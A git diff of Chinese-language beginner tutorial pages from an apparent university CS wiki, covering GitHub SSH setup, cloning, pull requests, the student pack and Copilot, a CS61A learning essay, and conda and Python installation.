+![](https://cdn.xyxsw.site/boxcn1HbQct335qvZ71tGNu7jne.png) 然后,点 `New SSH Key`,填上任意 Title,在 Key 文本框里粘贴 `id_rsa.pub` 文件的内容即可 -#### 第四步:创建仓库并和本地绑定 +#### 【ssh 方法配置】创建仓库并和本地绑定 -绑定完 GitHub 然后你可以创建仓库了 -首先在 GitHub 主页,找到 “New” 按钮,创建一个新的仓库 +绑定完 GitHub 然后你可以创建仓库了 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn5sVnE76FYpVW2RDxtWDiZc.png) +首先在 GitHub 主页,找到 `New` 或者 `Create repository` 一个绿色的按钮,创建一个新的仓库 + +![](https://cdn.xyxsw.site/boxcn5sVnE76FYpVW2RDxtWDiZc.png) 然后填上这个仓库的大名就可以创建了 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnsN133WrLrbxsX8JgvsQmif.png) +![](https://cdn.xyxsw.site/boxcnsN133WrLrbxsX8JgvsQmif.png) 根据之前学习的方法在本地创建完 git 仓库之后 在 git bash 中输入: -```powershell +```bash git remote add origin git@github.com:yourname/gitexample.git # 请将yourname换成自己的id ``` @@ -268,45 +377,57 @@ git remote add origin git@github.com:yourname/gitexample.git 或者是直接 git clone 下来 -```powershell +```bash git clone git@github.com:yourname/gitexample.git ``` +或者你可以跟随新创建之后的指引,`…or create a new repository on the command line` 内他描述了如何创建一个文件夹、创建一个 README.md 的文件,然后和 github 仓库绑定。 + +![](https://cdn.xyxsw.site/Snipaste_2023-07-16_17-19-18.png) + ### 下载代码——clone 拷贝他人存档也未尝不可,而我们如果用他人存档时,次次都需要一样一样的拷贝文件和代码未免太过折磨,下面简单介绍如何使用 -```powershell -git clone [url] +```bash +git clone ``` 接下去对着下面这个 GitHub 的代码使用一下 首先,代码的 url 在下图所示的位置 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnTiaT2EnNfKVkretPsyajVd.png) +![](https://cdn.xyxsw.site/boxcnTiaT2EnNfKVkretPsyajVd.png) 然后复制完代码后切换回我们的命令行 ```bash -e: #powershell or cmd -# 进入到想要存储该代码的地方 +# powershell or cmd +# 进入(cd)到想要存储该代码的地方(父文件夹目录) git clone https://github.com/camera-2018/git-example.git ``` +> 这里使用的[例子](https://github.com/camera-2018/git-example)是我的仓库,当然你也可以用你自己的仓库。 +> +> 如果你使用我的仓库的话,你 clone 过后在你自己电脑更改的文件等东西,是没法直接提交回来的(因为你没有我仓库管理权限) +> +> 如果你非要给我的仓库添加东西呢 也是可以,参照下面的 PR(Pull Request)教程 + 一阵抽搐过后就下载好了 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn8aRDQpe7uuDxFv9v1WvZ4c.png) +![](https://cdn.xyxsw.site/boxcn8aRDQpe7uuDxFv9v1WvZ4c.png) -注意:用完之后别忘记给 camera-2018 点个 follow 呃呃 follow 没用 star 有用 +::: tip +用完之后别忘记给 camera-2018 点个 follow 😋 `呃呃 follow 没用 star 有用` +::: -注意:失败就重试吧 还失败建议使用魔法 +注意:失败就重试吧 还失败建议使用魔法(非国内网你懂得) ### 提交和合并分支 如图 我在仓库里新建了 `helloworld.c` 并且写了一些代码 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnZpPsp4FP78auolzHvCKP0g.png) +![](https://cdn.xyxsw.site/boxcnZpPsp4FP78auolzHvCKP0g.png) 接下来是提交操作 @@ -314,7 +435,7 @@ git clone https://github.com/camera-2018/git-example.git git status #看一下文件暂存区 ``` -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnm4R1ZN0WeUBuYht6zge7pd.png) +![](https://cdn.xyxsw.site/boxcnm4R1ZN0WeUBuYht6zge7pd.png) 红色表示文件没有提交到暂存区 我们要提交 @@ -324,7 +445,7 @@ git status #看一下文件暂存区 git add . #将没有提交的所有文件加入暂存区 ``` -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnYHd076RAqfDmHjbUkeNSvg.png) +![](https://cdn.xyxsw.site/boxcnYHd076RAqfDmHjbUkeNSvg.png) 绿色表示所有文件已加入暂存 @@ -332,61 +453,131 @@ git add . #将没有提交的所有文件加入暂存区 git commit -m "feat(helloworld): add helloworld file" ``` -将刚才加入暂区的文件发起了一个提交 注释是 `feat(helloworld): add helloworld file` +将刚才加入暂区的文件发起了一个提交,提交注释(commit message)是 `feat(helloworld): add helloworld file` -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcni2dupDzNO8qTWPAxS5c67b.png) +![](https://cdn.xyxsw.site/boxcni2dupDzNO8qTWPAxS5c67b.png) -1. 如果这是你自己的仓库有权限 你就可以直接使用 +1. 如果这是你自己的仓库有权限(本人仓库或 Collaborators 有权限的情况下)你就可以直接使用 -```bash -git push origin main # origin是第四步里remote add起的远程名字 - # main是分支名 -``` + ```bash + git push origin main # origin 是第四步里 remote add 起的远程名字 + # main 是分支名 + ``` -上传本次提交 + 上传本次提交 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnNBu1EJnva4EkyQZAVlwGMe.png) + ![](https://cdn.xyxsw.site/boxcnNBu1EJnva4EkyQZAVlwGMe.png) -1. 如果你没有本仓库的主分支提交权限 可以提交 pr(pull requests) +2. 如果你没有本仓库的主分支提交权限 可以提交 PR(Pull Requests) -这里假设我是协作者 无主分支权限 + **第一种情况:这里假设我是协作者 无主分支权限,但有创建分支权限** -首先创建一个新分支 命名为 `yourname-dev` + 首先创建一个新分支 命名为 `yourname-dev` -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnaS7aOzdt31vsZZx8R1s33e.png) + ![](https://cdn.xyxsw.site/boxcnaS7aOzdt31vsZZx8R1s33e.png) -然后按照上面的方法 `git clone` 并切换到你刚创建的分支 + 然后按照上面的方法 `git clone` 并切换到你刚创建的分支 -```bash -git switch camera-2018-dev -``` + ```bash + git switch camera-2018-dev + ``` -然后提交一个文件 这里使用 vscode 自带的 git 工具试试 + 然后提交一个文件,这里直接使用 vscode 自带的 git 工具试试(很方便、不用敲命令行) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnmwlYWOzwPbNqTAuSZK9dW3.png) + ![](https://cdn.xyxsw.site/boxcnmwlYWOzwPbNqTAuSZK9dW3.png) -点暂存所有更改 写好 comment 之后点提交 + 点暂存所有更改 写好 comment 之后点提交 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnfcCnAdtdX2oyLIC3NibVnf.png) + ![](https://cdn.xyxsw.site/boxcnfcCnAdtdX2oyLIC3NibVnf.png) -最后点同步更改上传 + 最后点同步更改上传 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn9DSPlFgG2WMZhTOE9Zhzgb.png) + ![](https://cdn.xyxsw.site/boxcn9DSPlFgG2WMZhTOE9Zhzgb.png) -如果是你提交 在 github 上会显示这个 快捷创建 pr 的按钮 + 如果是你提交 在 github 上会显示这个 快捷创建 pr 的按钮 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnHd7Qfi8C0Y7V2Ot5ii4vpf.png) + ![](https://cdn.xyxsw.site/boxcnHd7Qfi8C0Y7V2Ot5ii4vpf.png) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnyt3eeZQyN8b1xM1WjDrTGe.png) + ![](https://cdn.xyxsw.site/boxcnyt3eeZQyN8b1xM1WjDrTGe.png) -点它创建 pr + 点它创建 PR -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnJOjh1Zfp9tCd3llL9NsEzb.png) + ![](https://cdn.xyxsw.site/boxcnJOjh1Zfp9tCd3llL9NsEzb.png) -这样管理本仓库的人看到 pr 请求就可以 merge 合并辣 + 这样管理本仓库的人看到 pr 请求就可以 merge 合并辣 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnBMq0sw6c48jvjdPJwmAGtZ.png) + ![](https://cdn.xyxsw.site/boxcnBMq0sw6c48jvjdPJwmAGtZ.png) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcngNZOSnYUtCKH6pm8UaUMNd.png) + ![](https://cdn.xyxsw.site/boxcngNZOSnYUtCKH6pm8UaUMNd.png) -实际合作过程中可能会出现代码冲突无法 merge 的情况 😋 遇到了自己去 STFW 吧 + 实际合作过程中可能会出现代码冲突无法 merge 的情况 😋 遇到了自己去 STFW 吧 + + **第二种情况:我不是协作者、我什么权限也没有,我看了这个 public 项目后觉得很好但是有一些问题,我要给他贡献一些代码** + + 可以点击仓库右上角的 fork + + ![](https://cdn.xyxsw.site/Snipaste_2023-07-16_17-34-21.png) + + 这样会在你的名下多出来一份这个同名仓库,而这个仓库你是拥有所有权限的,你可以 clone 你这个同名仓库,更改代码,提交代码之后 + + 回到源仓库点击 Pull Request 然后创建 PR `New pull request` + + 最上面会提示你说 + + Comparing changes + Choose two branches to see what’s changed or to start a new pull request. If you need to, you can also **compare across forks** . + + 点击小蓝字 `compare across forks` 这会让你对比你 fork 仓库和源代码仓库的提交记录,之后就可以创建 PR 了,原作者看到了会合并。 + +### 其他功能 + +问题跟踪:GitHub 的问题跟踪功能可用于报告软件中的问题、错误和功能请求,并进行讨论、分配和解决。 + +Wiki 页面:用户可以创建和编辑与存储库相关的 Wiki 页面,用于提供项目的文档、指南、示例代码等。 + +Pull 请求(Pull Requests):使用者可以将自己的代码变更提交给其他项目的所有者,并请求合并到主干代码中。 + +项目管理:GitHub 提供项目管理功能,包括任务管理、里程碑(milestones)、项目板(project boards)等工具,可用于组织和跟踪项目的进展。 + +部署功能:GitHub 可以与各种持续集成和部署(CI/CD)工具集成,帮助开发人员自动化构建、测试和部署他们的应用程序。 + +统计信息:GitHub 提供有关存储库活动和贡献者的统计信息,例如提交图表、活动日历等,有助于跟踪和分析项目的发展。 + +社交功能:用户可以关注其他用户、存储库和组织,接收他们的更新和活动通知,并与他们进行交流和讨论。 + +代码审核(Code Review):GitHub 的 Pull 请求功能允许团队成员对代码进行审查和讨论,以确保代码质量和最佳实践。 + +集成和扩展:GitHub 支持与其他工具和服务的集成,例如持续集成(CI)工具、代码质量检查工具、项目管理工具等。 + +页面托管:GitHub Pages 功能使您可以托管静态网站和文档,这在展示和共享项目文档、演示和博客等方面非常有用。 + +然后还有一些比如说 Copilot 之类的有用的功能。 + +[Copilot](https://github.com/features/copilot) 是 GitHub 推出的一款基于人工智能技术的代码辅助工具。它使用了机器学习模型 codex,并针对编写代码的场景进行了训练。 + +Copilot 可以根据上下文和输入的提示,为开发人员生成代码建议和自动完成。它可以通过分析现有代码库、注释和上下文来生成代码片段,提高编码效率并减少重复劳动。 + +## [Copilot](https://github.com/features/copilot) 白嫖教程 + +你需要学生认证你的 Github 账号。 + +地址在 [https://education.github.com/students](https://education.github.com/students) 点击 `Sign up for Global Campus` 来开始认证,下面会让你输入学校,绑定学校邮箱(杭电为 @hdu.edu.cn 结尾的邮箱)(如果你是杭电新生的话,可能要等到智慧杭电账号发放时才能注册杭电邮箱)并上传**学生证明**(从 21 年开始这个验证越来越严,如果不过的话你可以尝试 `学生证第一页`、`学生证第一页英文翻译(像有道翻译那样 P 图上去)`、`学信网学籍证明英文翻译(英文也是 P 上去)`) + +通过了的话你的账户会有 Pro 标识 然后你可以享受的 Github 学生包里包含[这些东西](https://education.github.com/pack) + +里面比较有用的有 + +- JETBRAINS 全家桶的免费用(我没用,我用的是 jb 自己家的验证方式,不是 github) +- name.com 家的一个一年期的免费域名(大概价值吧 六七十块钱?) +- github 的容量扩容和 actions 时间扩容、Codespaces 时间延长、Pages 扩容(没啥用倒是) +- Termius 学生包,这是我很喜欢用的终端软件,有学生包可以多端同步 ssh 的账号密码啥的,很方便。 +- Sentry 容量扩容 +- Copilot 免费用 + +你可以在 `settings` 里看到你的 copilot,配置如下 + +![](https://cdn.xyxsw.site/Snipaste_2023-07-16_17-59-49.png) + +然后就可以在你喜欢的 IDE 或编辑器上下载 Copilot 插件,来启用他。 + +![](https://cdn.xyxsw.site/Snipaste_2023-07-16_18-02-19.png) diff --git a/3.编程思维体系构建/3.6.1从CS61A看编程语言学习.md b/3.编程思维体系构建/3.6.1从CS61A看编程语言学习.md index 38a92fb..886f0ce 100644 --- a/3.编程思维体系构建/3.6.1从CS61A看编程语言学习.md +++ b/3.编程思维体系构建/3.6.1从CS61A看编程语言学习.md @@ -1,18 +1,16 @@ # 从 CS61A 看编程语言学习 - - -# 什么是 CS61A +## 什么是 CS61A 首先声明,本教程的 python 部分很多内容摘自 CS61A 如果你看过 CS 自学指南,想必你在第一页就看过这样的描述 -> 大一入学时我是一个对计算机一无所知的小白,装了几十个 G 的 Visual Studio 天天和 OJ 你死我活。凭着高中的数学底子我数学课学得还不错,但在专业课上对竞赛大佬只有仰望。提到编程我只会打开那笨重的 IDE,新建一个我也不知道具体是干啥的命令行项目,然后就是 `cin`, `cout`, `for` 循环,然后 CE, RE, WA 循环。当时的我就处在一种拼命想学好但不知道怎么学,课上认真听讲但题还不会做,课后做作业完全是用时间和它硬耗的痛苦状态。我至今电脑里还存着自己大一上学期计算概论大作业的源代码 —— 一个 1200 行的 C++ 文件,没有头文件、没有类、没有封装、没有 unit test、没有 Makefile、没有 Git,唯一的优点是它确实能跑,缺点是“能跑”的补集。我一度怀疑我是不是不适合学计算机,因为童年对于极客的所有想象,已经被我第一个学期的体验彻底粉碎了。
这一切的转机发生在我大一的寒假,我心血来潮想学习 Python。无意间看到知乎有人推荐了 CS61A 这门课,说是 UC Berkeley 的大一入门课程,讲的就是 Python。我永远不会忘记那一天,打开 [CS61A](https://cs61a.org/) 课程网站的那个瞬间,就像哥伦布发现了新大陆一样,我开启了新世界的大门。
我一口气 3 个星期上完了这门课,它让我第一次感觉到原来 CS 可以学得如此充实而有趣,原来这世上竟有如此精华的课程。
为避免有崇洋媚外之嫌,我单纯从一个学生的视角来讲讲自学 CS61A 的体验:
- 独立搭建的课程网站: 一个网站将所有课程资源整合一体,条理分明的课程 schedule、所有 slides, hw, discussion 的文件链接、详细明确的课程给分说明、历年的考试题与答案。这样一个网站抛开美观程度不谈,既方便学生,也让资源公正透明。
- 课程教授亲自编写的教材:CS61A 这门课的开课老师将 MIT 的经典教材 Structure and Interpretation of Computer Programs (SICP) 用 Python 这门语言进行改编(原教材基于 Scheme 语言),保证了课堂内容与教材内容的一致性,同时补充了更多细节,可以说诚意满满。而且全书开源,可以直接线上阅读。
- 丰富到让人眼花缭乱的课程作业:14 个 lab 巩固随堂知识点,10 个 homework,还有 4 个代码量均上千行的 project。与大家熟悉的 OJ 和 Word 文档式的作业不同,所有作业均有完善的代码框架,保姆级的作业说明。每个 Project 都有详尽的 handout 文档、全自动的评分脚本。CS61A 甚至专门开发了一个[自动化的作业提交评分系统](https://okpy.org/)(据说还发了论文)。当然,有人会说“一个 project 几千行代码大部分都是助教帮你写好的,你还能学到啥?”。此言差矣,作为一个刚刚接触计算机,连安装 Python 都磕磕绊绊的小白来说,这样完善的代码框架既可以让你专注于巩固课堂上学习到的核心知识点,又能有“我才学了一个月就能做一个小游戏了!”的成就感,还能有机会阅读学习别人高质量的代码,从而为自己所用。我觉得在低年级,这种代码框架可以说百利而无一害。唯一的害也许是苦了老师和助教,因为开发这样的作业可想而知需要相当的时间投入。
- 每周 Discussion 讨论课,助教会讲解知识难点和考试例题:类似于北京大学 ICS 的小班研讨,但习题全部用 LaTeX 撰写,相当规范且会明确给出 solution。
这样的课程,你完全不需要任何计算机的基础,你只需要努力、认真、花时间就够了。此前那种有劲没处使的感觉,那种付出再多时间却得不到回报的感觉,从此烟消云散。这太适合我了,我从此爱上了自学。
试想如果有人能把艰深的知识点嚼碎嚼烂,用生动直白的方式呈现给你,还有那么多听起来就很 fancy,种类繁多的 project 来巩固你的理论知识,你会觉得他们真的是在倾尽全力想方设法地让你完全掌握这门课,你会觉得不学好它简直是对这些课程建设者的侮辱。
如果你觉得我在夸大其词,那么不妨从 [CS61A](https://cs61a.org/) 开始,因为它是我的梦开始的地方。 +> 大一入学时我是一个对计算机一无所知的小白,装了几十个 G 的 Visual Studio 天天和 OJ 你死我活。凭着高中的数学底子我数学课学得还不错,但在专业课上对竞赛大佬只有仰望。提到编程我只会打开那笨重的 IDE,新建一个我也不知道具体是干啥的命令行项目,然后就是 `cin`, `cout`, `for` 循环,然后 CE, RE, WA 循环。当时的我就处在一种拼命想学好但不知道怎么学,课上认真听讲但题还不会做,课后做作业完全是用时间和它硬耗的痛苦状态。我至今电脑里还存着自己大一上学期计算概论大作业的源代码 —— 一个 1200 行的 C++ 文件,没有头文件、没有类、没有封装、没有 unit test、没有 Makefile、没有 Git,唯一的优点是它确实能跑,缺点是“能跑”的补集。我一度怀疑我是不是不适合学计算机,因为童年对于极客的所有想象,已经被我第一个学期的体验彻底粉碎了。
这一切的转机发生在我大一的寒假,我心血来潮想学习 Python。无意间看到知乎有人推荐了 CS61A 这门课,说是 UC Berkeley 的大一入门课程,讲的就是 Python。我永远不会忘记那一天,打开 [CS61A](https://cs61a.org/) 课程网站的那个瞬间,就像哥伦布发现了新大陆一样,我开启了新世界的大门。
我一口气 3 个星期上完了这门课,它让我第一次感觉到原来 CS 可以学得如此充实而有趣,原来这世上竟有如此精华的课程。
为避免有崇洋媚外之嫌,我单纯从一个学生的视角来讲讲自学 CS61A 的体验:
- 独立搭建的课程网站:一个网站将所有课程资源整合一体,条理分明的课程 schedule、所有 slides, hw, discussion 的文件链接、详细明确的课程给分说明、历年的考试题与答案。这样一个网站抛开美观程度不谈,既方便学生,也让资源公正透明。
- 课程教授亲自编写的教材:CS61A 这门课的开课老师将 MIT 的经典教材 Structure and Interpretation of Computer Programs (SICP) 用 Python 这门语言进行改编(原教材基于 Scheme 语言),保证了课堂内容与教材内容的一致性,同时补充了更多细节,可以说诚意满满。而且全书开源,可以直接线上阅读。
- 丰富到让人眼花缭乱的课程作业:14 个 lab 巩固随堂知识点,10 个 homework,还有 4 个代码量均上千行的 project。与大家熟悉的 OJ 和 Word 文档式的作业不同,所有作业均有完善的代码框架,保姆级的作业说明。每个 Project 都有详尽的 handout 文档、全自动的评分脚本。CS61A 甚至专门开发了一个[自动化的作业提交评分系统](https://okpy.org/)(据说还发了论文)。当然,有人会说“一个 project 几千行代码大部分都是助教帮你写好的,你还能学到啥?”。此言差矣,作为一个刚刚接触计算机,连安装 Python 都磕磕绊绊的小白来说,这样完善的代码框架既可以让你专注于巩固课堂上学习到的核心知识点,又能有“我才学了一个月就能做一个小游戏了!”的成就感,还能有机会阅读学习别人高质量的代码,从而为自己所用。我觉得在低年级,这种代码框架可以说百利而无一害。唯一的害也许是苦了老师和助教,因为开发这样的作业可想而知需要相当的时间投入。
- 每周 Discussion 讨论课,助教会讲解知识难点和考试例题:类似于北京大学 ICS 的小班研讨,但习题全部用 LaTeX 撰写,相当规范且会明确给出 solution。
这样的课程,你完全不需要任何计算机的基础,你只需要努力、认真、花时间就够了。此前那种有劲没处使的感觉,那种付出再多时间却得不到回报的感觉,从此烟消云散。这太适合我了,我从此爱上了自学。
试想如果有人能把艰深的知识点嚼碎嚼烂,用生动直白的方式呈现给你,还有那么多听起来就很 fancy,种类繁多的 project 来巩固你的理论知识,你会觉得他们真的是在倾尽全力想方设法地让你完全掌握这门课,你会觉得不学好它简直是对这些课程建设者的侮辱。
如果你觉得我在夸大其词,那么不妨从 [CS61A](https://cs61a.org/) 开始,因为它是我的梦开始的地方。 -如果看完了这些,你可能会震惊,会怀疑并且试着打开它并且去尝试这门课程,但是也有可能你会被纯英文的视频或者油管劝退,也有可能你会怀疑我在使用别人的课程体系的前提下仍然要把它放到自己的内容里面的目的,That's all right,我会在下面对她讲的东西进行一定的补充,并且附着上自己的学习建议以及学习思考。 +如果看完了这些,你可能会震惊,会怀疑并且试着打开它并且去尝试这门课程,但是也有可能你会被纯英文的视频或者油管劝退,也有可能你会怀疑我在使用别人的课程体系的前提下仍然要把它放到自己的内容里面的目的,That's all right,我会在下面对她讲的东西进行一定的补充,并且附着上自己的学习建议以及学习思考。 -# 错误的学习方式 +## 错误的学习方式 很多人看到要自学 python 之后,第一时间想到的是,我要去 B 站/百度搜一搜,然后一般搜出来就是菜鸟教程,然后就是一连串枯燥乏味的知识堆叠,或者说是培训班的网课,给我们一种知识好像就是这么枯燥乏味以及自己好像学到了很多但是真的用起来却一无所知痛苦万分的感觉。 @@ -24,17 +22,17 @@ 是很好。 -但是为什么坚持不下来呢? +但是为什么坚持不下来呢? 根据我的统计,原因无外乎是以下几点:英语太难太劝退了!课程设置太难,好像听懂了但是写起东西来却还是推行不下去!我不知道学了这个能干什么,所以没有动力!学了一两章虽然好像学到了东西,但是感觉有很多东西学了却记不住,导致难度曲线陡增了!游戏太好玩了! 舒适区看起来很难打破! -# 正确的思考方式 +## 正确的思考方式 面对英语,我们前文有过一而再再而三的提醒过使用正确的工具,但是不得不说的是,在翻译的过程中可能难免丢失了一定的信息,使得我们在困惑中可能变得没有了前进的动力,或者从另一个角度来说我们没有动力是因为没有足够的原因来告诉我们的意识,我们到底应该在做这个超过看菜鸟教程所需精力好多倍的工作,到底能得到除了一点新奇感以外的什么东西,以此来给我们更为充分的理由支撑自己学习完成。 -# 建立正确的认知论 +## 建立正确的认知论 编程思想本身远比学习某一门编程语言的具体内容更为重要,我们很多的同学在进行这方面内容的时候总是只想着记忆某一门语言的某些内容,然后学的非常的痛苦。 @@ -42,12 +40,10 @@ 但是编程语言的设计思想一般不会出现太大的波动,并且就算是发展也有其适配的场景和知识脉络的,如果你乐于去发掘这个知识脉络和思想,那么你就可以优雅的掌握一种思维方式而不是简单的拧螺丝一样的机械化工作。而好的思考方式往往是可以应用在同类的所有语言甚至是在所有的更多的 -# 更有趣的练习方式 +## 更有趣的练习方式 我不得不承认的一点是,越痛苦的练习往往可以让你获得更大的提升模拟的成长往往与你面对苦难以及解决他的时间是成正比的。 不过遗憾的是,我们大多数的同学是在面对跳起来都够不到的反馈的时候,会选择放弃。(除非你有 M 的倾向) 因此,有时候我们说大道至简。好的东西往往是能让人们快速理解的东西,我觉得 61A 的难度梯度设计,就是兼具了趣味性和间接性的,并且全面优于互联网上的非常多的教程,比硬啃要给我们更多的正反馈(当然,改变思维和学习方式是很重要的。 - -# diff --git a/3.编程思维体系构建/3.6.2环境配置.md b/3.编程思维体系构建/3.6.2环境配置.md index 6dd9660..2843b85 100644 --- a/3.编程思维体系构建/3.6.2环境配置.md +++ b/3.编程思维体系构建/3.6.2环境配置.md @@ -2,50 +2,44 @@ 当你开始制作大型项目或者复现论文时,环境配置就开始变得至关重要。 -# 什么是环境? +## 什么是环境? -环境是包的集合,我们一般用 Anaconda 来配置虚拟环境。 +环境是**包的集合**,我们一般用 Anaconda 来配置虚拟环境。 [戳这里安装](https://www.anaconda.com/) 装下来之后具体操作可以看[安装教程](https://blog.csdn.net/in546/article/details/117400839),如果自动配置环境变量的选项是灰色的话,请按照下面的教程把下面的几个文件路径加入环境变量。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn3PLPIvKSSvYiCnwx50FYvf.png) +![](https://cdn.xyxsw.site/boxcn3PLPIvKSSvYiCnwx50FYvf.png) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnvTQPcmPpUonmDZFZXNnGWd.png) +![](https://cdn.xyxsw.site/boxcnvTQPcmPpUonmDZFZXNnGWd.png) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn6ZnAzhaj2Tj7xk9K6FxBJh.png) +![](https://cdn.xyxsw.site/boxcn6ZnAzhaj2Tj7xk9K6FxBJh.png) 在里面添加并写入文件路径加入就好了~ -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnnsuoHmhK4dBCLHlKhpRWIe.png) +![](https://cdn.xyxsw.site/boxcnnsuoHmhK4dBCLHlKhpRWIe.png) 然后打开 Pycharm,创建新项目,设置按照以下方式操作,记得挂梯子。 如果不挂梯子,请按照教程配置清华源。[我是教程](https://blog.csdn.net/jasneik/article/details/114227716) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnTfvjYweuIZFKlcH78X38Pd.png) +![](https://cdn.xyxsw.site/boxcnTfvjYweuIZFKlcH78X38Pd.png) 然后一个新的环境就创建好辣~ -# 如何配置环境 +## 如何配置环境 -## 1.配置你自己的环境 +### 1.配置你自己的环境 你可以尝试命令 `pip install <包的名字>` 或者 `conda install <包的名字>` -``` - 在下载某个包失败的时候可以查一查有没有人写相关攻略~ -``` +> 在下载某个包失败的时候可以查一查有没有人写相关攻略~ 你可以用 `conda list` 查看你这个环境已有的包。你也可以在包的名字后面加上 `==版本号` 来指定版本。 -``` - 请注意各个包之间的依赖关系,否则容易导致无法运行或效果变差! -``` +> 请注意各个包之间的依赖关系,否则容易导致无法运行或效果变差! -## 2.复现论文代码时配置环境 +### 2.复现论文代码时配置环境 -``` - 一般我们可以在Github的README中找到环境的配置方法,遇到难以下载的特殊版本包时可以考虑下载它的源码手动编译,具体流程不展开了,可以自行搜索 -``` +> 一般我们可以在 Github 的 README 中找到环境的配置方法,遇到难以下载的特殊版本包时可以考虑下载它的源码手动编译,具体流程不展开了,可以自行搜索 diff --git a/3.编程思维体系构建/3.6.3安装python.md b/3.编程思维体系构建/3.6.3安装python.md index 1245890..2cd12a6 100644 --- a/3.编程思维体系构建/3.6.3安装python.md +++ b/3.编程思维体系构建/3.6.3安装python.md @@ -1,12 +1,17 @@ # 安装 python -教程 +::: warning 😍 教程 -[Python 小白必看,非常生动的 Pycharm 与 Anaconda 安装教学,干货!_哔哩哔哩_bilibili](https://www.bilibili.com/video/BV1Bp4y117UW?p=1&share_medium=android&share_plat=android&share_source=COPY&share_tag=s_i×tamp=1623240637&unique_k=vHC5Wg) +[Python 小白必看,非常生动的 Pycharm 与 Anaconda 安装教学,干货!_哔哩哔哩_bilibili](https://www.bilibili.com/video/BV1Bp4y117UW) -[Win10 下 Conda-Pycharm-Pytorch 的安装_哔哩哔哩_bilibili](https://www.bilibili.com/video/BV15U4y1J7Ss?from=search&seid=1987861827719523712&spm_id_from=333.337.0.0) + -# 巧妇难为无米之炊 +[Win10 下 Conda-Pycharm-Pytorch 的安装_哔哩哔哩_bilibili](https://www.bilibili.com/video/BV15U4y1J7Ss) + + +::: + +## 巧妇难为无米之炊 你可以在终端上用 Python 解释器 @@ -16,27 +21,27 @@ 我们推荐你都进行一波尝试,同样这也会作为一个任务 -# 解释器 +::: warning 😐 解释器 -# Windows 用户 +Windows 用户 打开 [Python 官方网站](https://www.python.org/),找到“Download”里的“Latest: Python 3.x.y”。 -下载完成后,请大家按照下图的示意,务必勾选“Add Python 3.x to PATH”,然后再点击“Install Now”,等待安装完成后关闭安装程序。 +**下载完成后,请大家按照下图的示意,务必勾选“Add Python 3.x to PATH”,然后再点击“Install Now”,等待安装完成后关闭安装程序。** -注意:windows11 安装好后 命令行输入 python 可能会跳到 Microsoft 应用商店 可在 customize installation(自定义安装)next 勾选 install for all users +**注意:windows11 安装好后 命令行输入 python 可能会跳到 Microsoft 应用商店 可在 customize installation(自定义安装)next 勾选 install for all users** -## GNU/Linux 系统 +**GNU/Linux 系统** 在终端输入 `sudo apt install python3` 即可完成 Python3 的全部安装流程 可以输入 `python3 --version` 检验是否成功。 +::: +![](https://cdn.xyxsw.site/boxcn95LbcwuMC2dIViOxWk8BFb.png) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn95LbcwuMC2dIViOxWk8BFb.png) +::: warning 🤔 Jupyter Notebook -# Jupyter Notebook - -[官方网站](https://jupyter.org/) Jupyter Notebook 是基于网页的用于交互计算的应用程序。其可被应用于全过程计算:开发、文档编写、运行代码和展示结果。——[Jupyter ](https://link.zhihu.com/?target=https%3A//jupyter-notebook.readthedocs.io/en/stable/notebook.html) +[官方网站](https://jupyter.org/) Jupyter Notebook 是基于网页的用于交互计算的应用程序。其可被应用于全过程计算:开发、文档编写、运行代码和展示结果。——[Jupyter](https://link.zhihu.com/?target=https%3A//jupyter-notebook.readthedocs.io/en/stable/notebook.html) 你在一个框框中直接输入代码,运行,它立马就在下面给你输出。怎么样,是不是很酷? @@ -49,7 +54,8 @@ jupyter notebook 进行使用 +::: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnfwk8gnFAHu5JzVUiugJjQe.png) +![](https://cdn.xyxsw.site/boxcnfwk8gnFAHu5JzVUiugJjQe.png) [Pycharm](https://www.jetbrains.com/zh-cn/pycharm/):可能很多同学已经用上了,我在这里不做更多解释 diff --git a/3.编程思维体系构建/3.6.4.0阶段零:Python解释器.md b/3.编程思维体系构建/3.6.4.0阶段零:Python解释器.md index 53c6e11..117ef0b 100644 --- a/3.编程思维体系构建/3.6.4.0阶段零:Python解释器.md +++ b/3.编程思维体系构建/3.6.4.0阶段零:Python解释器.md @@ -1,10 +1,11 @@ # 阶段零:Python 解释器 -可参考资料 +::: warning 😍 可参考资料 [官方文档](https://wiki.python.org/moin/BeginnersGuide) [菜鸟教程](https://www.runoob.com/python3/python3-interpreter.html) +::: 你可以在终端与解释器进行交互 @@ -14,65 +15,44 @@ 你可以自己把玩一下 -``` +```python >>> 1 + 2 -``` - 